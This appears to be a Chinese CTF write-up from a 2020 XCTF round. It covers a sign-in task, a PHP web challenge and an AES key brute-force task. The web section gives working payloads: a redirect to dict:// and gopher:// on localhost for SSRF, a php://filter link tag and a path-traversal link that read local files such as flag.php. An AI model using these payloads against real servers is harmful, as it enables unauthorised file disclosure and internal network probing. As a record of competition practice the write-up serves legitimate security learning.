太菜了!!还得继续加油努力才阔以噢!噢还有,各位圣诞节happy!!!今年又是Lonely Christmas了耶,一切都会好起来的!还是得变得更优秀才行呀

XCTF高校网络安全专题挑战赛(鲲鹏计算,12.23场)

战队名称:咕噜灵波~

战队排名:46

排名截图:

image-20201224161714455.png


WEB:

签到

​ 直接关注 ”XCTF联赛公众号“,然后输入”xctf“,就能拿到 flag 了!:

image-20201224162116329.png

​ 得到flag:flag{Shifujiayou}

flag{Shifujiayou}

​ 后话:

​ 没啥可说的!勉强就拿了5血(没啥用。


BABYPHP

​ 这个界面很敷衍啊,就给了个简单的IP扫描:

image-20201224162515185.png

​ 然后随便扫一下,出现 Port scan is deperacted and try to find the source code! // Google is your best friend 这些字符:

image-20201224162552187.png

​ 看起来应该是需要使用 google 去搜索这个的源码了,emmm不得不说,这个确实是够脑洞啊!在这里卡了很久很久,还一直在搜 github 上的 portScan 。后来直接把 html 在google上一搜,就找到源码了。。

<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
     就是这个链接:

image-20201224163145950.png

​ 得到如下代码:

<?php
  
set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 
 
/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}
 
  
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
  
}
  
}
}
 
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
 
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
     
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
  
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
  
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}
 
/*内网代理代码*/
 
function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 
 
function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 
 
if($url != null){ 
 
    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

​ 显然这个题目是把端口探测给关了,那么这个代码还有一个功能,可以从 $_REQUEST['url'] 方式传入 URL 然后用 curl 进行请求探测内网内容。

​ 关键代码:

<?php
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 

/*内网代理代码*/
 
function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 
 
function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 
 
if($url != null){ 
 
    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

​ 显然,整体思路如下:

  • curl 请求传入的 $_REQUEST['url'] 参数内容,并返回结果

  • 将通过 curl 请求得到的结果给简单的使用 /<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i 正则表达式解析 css 文件的路径

  • 然后使用 file_get_contents 函数来获取 css 文件路径的内容 ,并以 <style>[CSS 文件内容]</style> 附加在主体结果后边

  • 最后将所有主体结果给显示了

​ 刚看到这个代码时候,还以为说是要探测内网的呢,虽然说题目的代码存在对 $_REQUEST['url'] 内容的正则过滤 /^(http:\/\/)?([^\/]+)/i,也就是说只能够使用 http 协议了。不过还是可以绕的,比如可以在自己服务器上弄一个形如以下的 跳转 代码:

<?php
header("location: dict://127.0.0.1/");
# 或者
# header("location: gopher://127.0.0.1/_xxxx");
?>

​ 然后在题目中,传入 url=http://xxx.xxx.xxx.xxx/tiao.php ,就能够自由使用其他 协议 去搞内网了。

只是实际上这并不可行,因为在这个源码中关于 302 ,也就是跳转状态码的处理上,存在一个问题:

if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 

​ 这段关于 302 跳转的代码中,getHeader 函数是没有在这片代码中定义的,而调用一个不存在的函数会产生 error 级错误,这就导致后边的代码无法执行(简单来说就是这个 302 跳转是不可行的,一运行就会炸)

​ 那么就只能依靠 200 状态码(其实也就是简单的网页请求)来进行搞事了,实际上这个代码还是存在一个大漏洞的!

​ 就在这一段中:

function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 

​ 其中,可以看到,它会对 curl 请求到的网页内容检索 <link> 标签的 href 元素的内容,然后使用 file_get_contents 函数进行(看似是人畜无害地获取 css 文件内容)获取内容。

  • 如果 href 元素内容中并不存在 http:// ,那么就使用 $_REQUEST['url'] 域名根路径(比如说 $_REQUEST['url'] 传入 http://www.baidu.com/2adsa 那就得到 http://www.baidu.com ) 加上 href 元素的内容。

  • 如果 href 元素内容中存在 http://, 那么就直接用 href 元素的内容了。

​ 然后作为 file_get_contents 函数的参数,去获取该地址的内容,再用 <style>[CSS 文件内容]</style> 附加在主体结果后边了。显然如果能够控制这个传入 file_get_contents 函数的参数,也就可以任意去获取内容了。

​ 而如果要自由的控制传入 file_get_contents 函数的参数,这里就必须要利用到两个漏洞点。

​ 首先是 strpos($v,'http://') == false 这段代码的判断,它仅是判断传入的内容是否存在 http:// ,并非是开头必须是 http:// ,只要传入的内容包含 http://也就不会被强行加上 $_REQUEST['url'] 域名根路径了。

​ 不过光光是这样还是不够的,因为这样如果想要读一个本地文件,构造出来的会是一个畸形的路径,比如 file://localhost/etc/issue http:// ,肯定是不行的。好在这里存在另一个关键的 漏洞,这里简单的分析以下关于 php://filter ,也就是 php过滤器 的一个小trick。

​ 这里懒得开PHP源码了,就用原来的图吧:

image-20200802191025962.png

​ 这里重点是 E_WARNING 也就是在处理读或写过程中,如果 php过滤器 名称不正确的话,并不会返回 error 级错误直接炸,而是只是单纯的 warning 而已。简单来说就是虽然错误发生了,但是我就是当作没发生一样去执行,只是没有执行相应的过滤效果而已,大不了不过滤了,原字符返回。

(当然这里还会对 php过滤器 进行URL解码噢,这个在 WMCTF 中就有考过的。

​ emmm,可能对php的过滤器不太了解,

​ php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

​ php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

​ 简单来说吧,完整的格式是:

# 简单的格式
php://filter/[write|read]=过滤器名称/resource=源文件

# 简单的代码示例
file_put_contents("php://filter/write=convert.base64-encode|string.toupper/resource=/tmp/test","哈哈哈哈");
# 先将 "哈哈哈哈" 编码为base64,然后写入 /tmp/test 文件中

file_get_contents("php://filter/read=string.rot13|convert.base64-encode/resource=http://www.baidu.com");
# 将从www.baidu.com页面获取到的内容先进行 rot13 转码,再编码成base64

# 实际上 [read|write] 是可省的,会根据输入输出来自动判别。

​ 那么,回到正题,刚刚说 php过滤器 指的是 读写链的筛选列表 为不认识或不存在的奇奇怪怪的玩意,只会返回 warning 而已,大不了不过滤了嘛。说起来可能会比较拗口吧,比如构造以下的字符,就显而易见了:

php://filter/哈哈哈哈太好玩了嘻嘻/dsa/ds/ad/safa\das\dsa/resource=/etc/issue

​ 可以看到,虽然会返回 warning ,但依旧是可以读的!

image-20201224175102833.png

​ 所以,这道题的解法就显而易见的了,首先在自己的服务器弄一个形如以下内容的文件就好了:

<link href="php://filter/http://.css/resource=/etc/issue">

​ 其中 http:// 是为了避免前边被加上$_REQUEST['url'] 域名根路径,而.css 是为了满足正则表达式必须是 .css 的文件,然后 /etc/issue ,呃只是一个linux的文件而已啦。

image-20201224180727884.png

​ 然后再读 flag 就OK了!

​ 最终payload:

<link href="php://filter/http://.css/resource=flag.php">

image-20201224180933586.png

​ 得到flag:flag{3943bb74de02d3522d314555ac4c660e}

flag{3943bb74de02d3522d314555ac4c660e}

​ 后话:

​ 实际上也可以这么做。。不必用 php://filter

# 请求URL(3个斜杠!!!)
http:///47.101.132.223:6555/easy.txt
# easy.txt文件内容
<link href="../../../../.css/../var/www/html/flag.php">

​ emmm,然后呢,先跟进 getHost 函数:

function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
             这个正则表达式 `/^(http:\/\/)?([^\/]+)/i` 实际上,是有很大问题的,比如输入 `http:///47.101.132.223:6555/easy.txt` ,那么将得到:

image-20201224183109468.png

​ 也就是返回得到的 $hosthttp: , 而传入 curl 处理的为 http:///47.101.132.223:6555/easy.txt ,并不是 $host 变量的值,而这存在3个 /的 在 curl 是可以正常请求的。。

​ 然后在对 css 的拼接中,会拼成这样:

http:../../../../.css/../var/www/html/flag.php

​ 这也是传入 file_get_contents 函数的内容,其中这个路径流还是有一个trick的,就是它并不是寻址找文件,而是预处理了的。就比如说:

image-20201224184000891.png

​ 大可当作是预处理路径才对文件读的(其中 sadhsiaodsa dsadsaoifsa dsadsa 这几个文件都是不存在的),只要最后处理出来的路径正确的存在文件就行啦。

​ 那么 http:../../../../.css/../var/www/html/flag.php 实际上等价于 /var/www/html/flag.php 这个路径咯:

image-20201224184230033.png

​ 知识+1 哦耶!


REALWORLD:

AES_BABY(未解,复现成功)

​ 怎么说呢,一路波折!!!距离成功,就差一粒灰尘的距离!!!啊啊啊。那么先将附件下载下来,得到三个文件:

image-20201224184450134.png

​ 其中文件内容如下:

  • Dockerfile:

    FROM python:3.8
    
    RUN pip install pycryptodome
    COPY checker.py /root/
    CMD ["/usr/local/bin/python3", "-u", "/root/checker.py"]
    

    emmm,看起来是一个 Dockerfile 文件,这里可知这是一个 python3.8 的容器,并且装有 Crypto 的模块。然后 python3 的路径为 /usr/local/bin/python3

  • lscpu.txt:

    Architecture:          aarch64
    Byte Order:            Little Endian
    CPU(s):                48
    On-line CPU(s) list:   0-47
    Thread(s) per core:    1
    Core(s) per socket:    24
    Socket(s):             2
    NUMA node(s):          2
    Model:                 0
    CPU max MHz:           2400.0000
    CPU min MHz:           2400.0000
    BogoMIPS:              200.00
    L1d cache:             64K
    L1i cache:             64K
    L2 cache:              512K
    L3 cache:              32768K
    NUMA node0 CPU(s):     0-23
    NUMA node1 CPU(s):     24-47
    Flags:                 fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm jscvt fcma dcpop asimddp asimdfhm
    

    这里可以出这个是一个不错的机子的,看起来是可以比较适合用来跑东西的了,不过这个架构,可让我吃大亏了,当时没怎么注意,这里要强调!(AArch64是ARMv8 架构的一种执行状态,不是linux!!!)

  • checker.py:

    import subprocess
    import hashlib
    import base64
    import os
    
    import string
    import random
    from Crypto.Cipher import AES
    
    flag = "flag{test}"
    
    key = ''.join(random.choices(string.ascii_letters+string.digits,k=16))
    
    def gen_input():
        cipher = AES.new(key.encode(), AES.MODE_ECB)
        ct = cipher.encrypt(b'KUNPENG_HPC_AES!')
        return key[:12]+ct.hex()
    
    def check_output(elf_input, output):
        if elf_input[:12] + output == key:
            return True
        return False
    
    if __name__ == "__main__":
        code = input("Encode your executable using base64: ")
        print()
        if not code:
            print("Code must not be empty")
            exit(-1)
        elf = base64.b64decode(code)
        with open("/elf","wb") as f:
            f.write(elf)
            
        os.chmod("/elf", 0o755)
        elf_input = gen_input()
        print("the input is: " + elf_input)
        p = subprocess.run(
            ["su", "nobody", "-s", "/elf"],
            input=elf_input.encode(),
            stdout=subprocess.PIPE,
        )
    
        if p.returncode != 0:
            print()
            print("Your code did not run successfully")
            exit(-1)
    
        output = p.stdout.decode()
        print("Your output is: " + output)
        if check_output(elf_input, output):
            print(flag)
        else:
            print("Wrong")

    怎么说呢这个题目,很简单,这个是连接上去的执行的python代码,是重点!等会重点说说曲折过程。

​ 那么,先连接题目给的 IPPORT

nc 139.159.190.149 10000

​ 这里我习惯用比nc更牛皮一些的 socat 连啦,结果当头一击:

image-20201224190335499.png

​ 显然这里是要写一个脚本来计算 xxxx 使得 md5("[10个随机字符]+xxxx") 加密后再转换成 2进制24 位都为 0 ,然后才开始进入 checker.py 的脚本执行。行吧,看来单纯的手工连是不行了,这里得用 pwntools 了:

from pwn import *
from string import printable
from itertools import product
import hashlib

# 显示调试信息
context.log_level = 'DEBUG'
# 利用可打印字符生成 4 长度的笛卡尔积集合
p = product(printable, repeat=4)

def main():
    # 连接
    conn = remote("139.159.190.149", 10000)
    
    # 获取 10 个随机字符 ([10个随机字符]+xxxx)
    text = conn.recv().decode()
    print(text)
    start = text[29:39]
    print(start)
    # 爆破!
    for each in p:
        c = start + "".join(each)
        g = bin(int.from_bytes(hashlib.md5(c.encode()).digest(), "big"))[2:].zfill(128)
        if (g[:24] == '0' * 24):
            print("".join(each))
            # 如果成功了就发送
            conn.send("".join(each) + "\n")
            break

if __name__ == "__main__":
    main()
     简单的跑跑看,得到以下的信息:

image-20201224195759250.png

​ emmm,看起来是给40秒钟进行互动了,然后紧接着是 checker.py 的内容了。

​ 那么简单的前置关卡就OK了,接下来是对 checker.py 的分析!

import subprocess
import hashlib
import base64
import os

import string
import random
from Crypto.Cipher import AES

flag = "flag{test}"

# 使用大小写字母 + 数字生成16位长度的密钥 key
key = ''.join(random.choices(string.ascii_letters+string.digits,k=16))

def gen_input():
    # 使用密钥 key 加密 'KUNPENG_HPC_AES!'
    cipher = AES.new(key.encode(), AES.MODE_ECB)
    ct = cipher.encrypt(b'KUNPENG_HPC_AES!')
    # 返回密钥 key 的前12位以及 加密结果
    return key[:12]+ct.hex()

def check_output(elf_input, output):
    # 比较 密钥前 12 位 和 输入的内容 是否为 密钥key,若相等,则返回 true
    if elf_input[:12] + output == key:
        return True
    return False

if __name__ == "__main__":
    # 获取输入的内容
    code = input("Encode your executable using base64: ")
    print()
    if not code:
        print("Code must not be empty")
        exit(-1)
        
    # 将输入的内容进行base64解码了,
    elf = base64.b64decode(code)
    
    # 写入一个 /elf 的文件中
    with open("/elf","wb") as f:
        f.write(elf)
    # 给这个 /elf 文件执行权限    
    os.chmod("/elf", 0o755)
    
    # 获取 密钥 key 的前12位以及 加密结果
    elf_input = gen_input()
    # 显示 密钥 key 的前12位以及 加密结果
    print("the input is: " + elf_input)
    
    # 以 nobody用户 执行 /elf 文件,并输入 密钥 key 的前12位以及 加密结果 
    p = subprocess.run(
        ["su", "nobody", "-s", "/elf"],
        input=elf_input.encode(),
        stdout=subprocess.PIPE,
    )
    
    # 若执行 /elf 文件出错则直接退出
    if p.returncode != 0:
        print()
        print("Your code did not run successfully")
        exit(-1)
	
    # 获取 执行 /elf 文件得到的结果,记为 output
    output = p.stdout.decode()
    # 显示 output 的值
    print("Your output is: " + output)
    
    # 检查 output 的值 是否和 密钥 key 的值一致,若一致则显示 flag
    if check_output(elf_input, output):
        print(flag)
    else:
        print("Wrong")

​ 简单来说,这个 checker.py 的大致过程如下:

  • 接收一串 base64编码 ,然后将解码的内容写入一个文件 /elf(相当于可以上传一个文件)
  • 然后用 [大小写字母 + 数字] 生成一个16位的密钥 key,再用这个 key 去加密 KUNPENG_HPC_AES!
  • 将密钥 key 的前 12 位 和 加密结果 作为输入执行 /elf 文件
  • 最后获取 /elf 文件的返回内容和密钥 key 做比对,若相等则显示 flag

​ emmm,一句话说,就是写一个接收 [密钥前12位 + 加密结果] 的内容的文件,然后输出正确的密钥(爆破!)就对了。。这个缺失的密钥是 4 位的,然后组合是 大小写字母 + 数字,所以。。考点也就是写一个程序去爆破咯

​ 看起来确实很简单吧,只是,遇到的坑不小,先写了一个简单的go,本地测试是大约20秒左右能够跑出来了。

package main

import (
	"bufio"
	"bytes"
	"crypto/aes"
	"encoding/hex"
	"fmt"
	"os"
	"sync"
)

type AESData struct {
	Key    []byte
	Source []byte
	Result []byte
	Method string
}

var ascii = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
var start = ""
var c = make([]byte, 32)

// 生成爆破字典笛卡尔积集合
func ProductStringWithRunes(sets ...[]interface{}) chan interface{} {
	ch := make(chan interface{}, 0)
	lens := func(i int) int { return len(sets[i]) }
	go func(lens func(i int) int, sets ...[]interface{}) {
		for ix := make([]int, len(sets)); ix[0] < lens(0); nextIndex(ix, lens) {
			var r []interface{}
			for j, k := range ix {
				r = append(r, sets[j][k])
			}
			res := ""
			for _, ch := range r {
				res += ch.(string)
			}
			ch <- res
		}
		close(ch)
	}(lens, sets...)

	return ch
}
func nextIndex(ix []int, lens func(i int) int) {
	for j := len(ix) - 1; j >= 0; j-- {
		ix[j]++
		if j == 0 || ix[j] < lens(j) {
			return
		}
		ix[j] = 0
	}
}

// AESECB
func (A *AESData) EncryptECB() (bool, error) {
	getKey, err := aes.NewCipher(func(key []byte) (genKey []byte) {
		genKey = make([]byte, 16)
		copy(genKey, A.Key)
		for i := 16; i < len(key); {
			for j := 0; j < 16 && i < len(key); j, i = j+1, i+1 {
				genKey[j] ^= A.Key[i]
			}
		}
		return
	}(A.Key))
	if err != nil {
		return false, err
	}
	length := (len(A.Source) + aes.BlockSize) / aes.BlockSize
	plain := make([]byte, length*aes.BlockSize)
	copy(plain, A.Source)
	pad := byte(len(plain) - len(A.Source))
	for i := len(A.Source); i < len(plain); i++ {
		plain[i] = pad
	}
	encrypted := make([]byte, len(plain))
	for bs, be := 0, getKey.BlockSize(); bs <= len(A.Source); bs, be = bs+getKey.BlockSize(), be+getKey.BlockSize() {
		getKey.Encrypt(encrypted[bs:be], plain[bs:be])
	}
	A.Result = encrypted
	return true, nil
}

// 进行爆破
func check3(str string) {
	ae := &AESData{}
	ae.Source = []byte("KUNPENG_HPC_AES!")
	ae.Key = []byte(start + str)
	ae.EncryptECB()

	if bytes.Equal(ae.Result[:16], c) {
		fmt.Print(str)
		os.Exit(0)
	}
}

func main() {

	var wg sync.WaitGroup
	a := []interface{}{}
	for _, s := range ascii {
		a = append(a, string(s))
	}
	ch := ProductStringWithRunes(a, a, a, a)
	chs := make(chan rune, 10)
	p := make([]byte, 44)
	r := bufio.NewReader(os.Stdin)
	r.Read(p)

	start = string(p[:12])
	c, _ = hex.DecodeString(string(p[12:]))
	
    // 多go程爆破,加个锁限制一下速度避免重复爆破
	for s := range ch {
		chs <- 'o'
		wg.Add(1)
		go func() {
			defer wg.Done()
			check3(s.(string))
			<-chs
		}()
	}
	wg.Wait()
}

​ 然后,简单编译一下后,在本地模拟:

image-20201224200741661.png

​ 看起来是OK的,那么再更新一下简单的脚本:

from pwn import *
from string import printable
from itertools import product
import hashlib
from base64 import b64encode

context.log_level = 'DEBUG'
p = product(printable, repeat=4)

def main():
    conn = remote("139.159.190.149", 10000)
    text = conn.recv().decode()
    print(text)
    start = text[29:39]
    print(start)
    for each in p:
        c = start + "".join(each)
        g = bin(int.from_bytes(hashlib.md5(c.encode()).digest(), "big"))[2:].zfill(128)
        if (g[:24] == '0' * 24):
            print("".join(each))
            conn.send("".join(each) + "\n")
            break
    print(conn.recvline().decode())
    with open("gsn-amd64", "rb") as f: # gsn-386 gsn-arm
        content = b64encode(f.read()).decode()
    print(conn.sendlineafter('Encode your executable using base64:', content))
    print(conn.recvline().decode())
    print(conn.recvline().decode())
    print(conn.recvline().decode())
    print(conn.recvrepeat(timeout=60).decode())

if __name__ == "__main__":
    main()

​ 结果。。都不太行的。。

image-20201224201049350.png

​ 结果就在这里卡了一个下午。。不管 go 编译成啥架构,都试过了全都不太行。

​ 后来仔细想想,既然题目是一个 python3.8 的容器,并且装有了 Crypto 模块,不如就写一个 python 脚本去完成吧:

#!/usr/bin/env /usr/local/bin/python3
# 上边的那个路径很重要,直接影响能否直接 /elf 这样执行文件,而不用 python xxx 来执行
# 还有就是上边的路径可以从 Dockerfile 看到!!!
from string import ascii_letters,digits
from itertools import product
from Crypto.Cipher import AES
from re import findall
import sys

# 生成 大小写字母 + 数字 的笛卡尔积集合作为爆破字典
p = product(ascii_letters+digits, repeat=4)

def main(text):
    # 获取密钥前12位
    key1 = text[:12]
    # 将16进制字符的密文转换回密文字节流
    c = "".join(chr(int(v,16)) for v in findall("\w{2}",text[12:])).encode("latin1")
    
    for each in p:
        ends = "".join(each)
        key = key1 + ends
        cipher = AES.new(key.encode(), AES.MODE_ECB)
        # 解密肯定是比加密处理快的!
        # 因为在解密过程中如果出错就会直接返回空字符!
        if(cipher.decrypt(c) == b'KUNPENG_HPC_AES!'):
            # 若比对成功则输出正确密钥的后4位
            print(ends,end="")
            #exit(0) 就是这个玩意!!!困扰了很久,本来可以做出来的,忘了加上这玩意了!!!
            # 因为本地测试的时候,就直接 python3 xxx.py 了,即便程序已经跑出来但是没结束,依然是可以用肉眼看出输出的内容的,
            # 而如果用 subprocess.run 的话得等程序都结束了才获取输出的内容。
            exit(0)
            
if __name__ == "__main__":
    # 接收 [密钥key的前12位 + 密文内容] ,一共是 44 长度
    main(sys.stdin.read(44))

​ emmm,然后就直接来吧!这里要注意的是 #!/usr/bin/env /usr/local/bin/python3 后边必须是 \n 不能是 \d\n,那么最终payload:

from pwn import *
from string import printable
from itertools import product
import hashlib
from base64 import b64encode

context.log_level = 'DEBUG'
p = product(printable, repeat=4)

def main():
    conn = remote("139.159.190.149", 10000)
    text = conn.recv().decode()
    print(text)
    start = text[29:39]
    print(start)
    for each in p:
        c = start + "".join(each)
        g = bin(int.from_bytes(hashlib.md5(c.encode()).digest(), "big"))[2:].zfill(128)
        if (g[:24] == '0' * 24):
            print("".join(each))
            conn.send("".join(each) + "\n")
            break
    print(conn.recvline().decode())
    with open("gsn.py", "r") as f:
        content = b64encode(f.read().replace("\r","").encode()).decode()
    print(conn.sendlineafter('Encode your executable using base64:', content))
    print(conn.recvline().decode())
    print(conn.recvline().decode())
    print(conn.recvline().decode())
    print(conn.recvrepeat(timeout=60).decode())

if __name__ == "__main__":
    main()

​ 最后就是简单的 python exp.py 啦,如果不行就多跑几次:

image-20201224203336018.png

​ 得到flag:flag{F4st_AES_Ad9A4cB2E4}

flag{F4st_AES_Ad9A4cB2E4}

​ 后话:

​ 我,太惨了。本来就很简单的题目,做完是可以进前40的,可还是因为个人的一些疏忽,失去了一些机会。不管怎么说,该学习的东西还有不少,可以变强的地方还有很多的。一切都会OK的!


​ 好累噢,等搞完这次比赛一定要大吃特吃hhhhh,好好潇洒一番才阔以!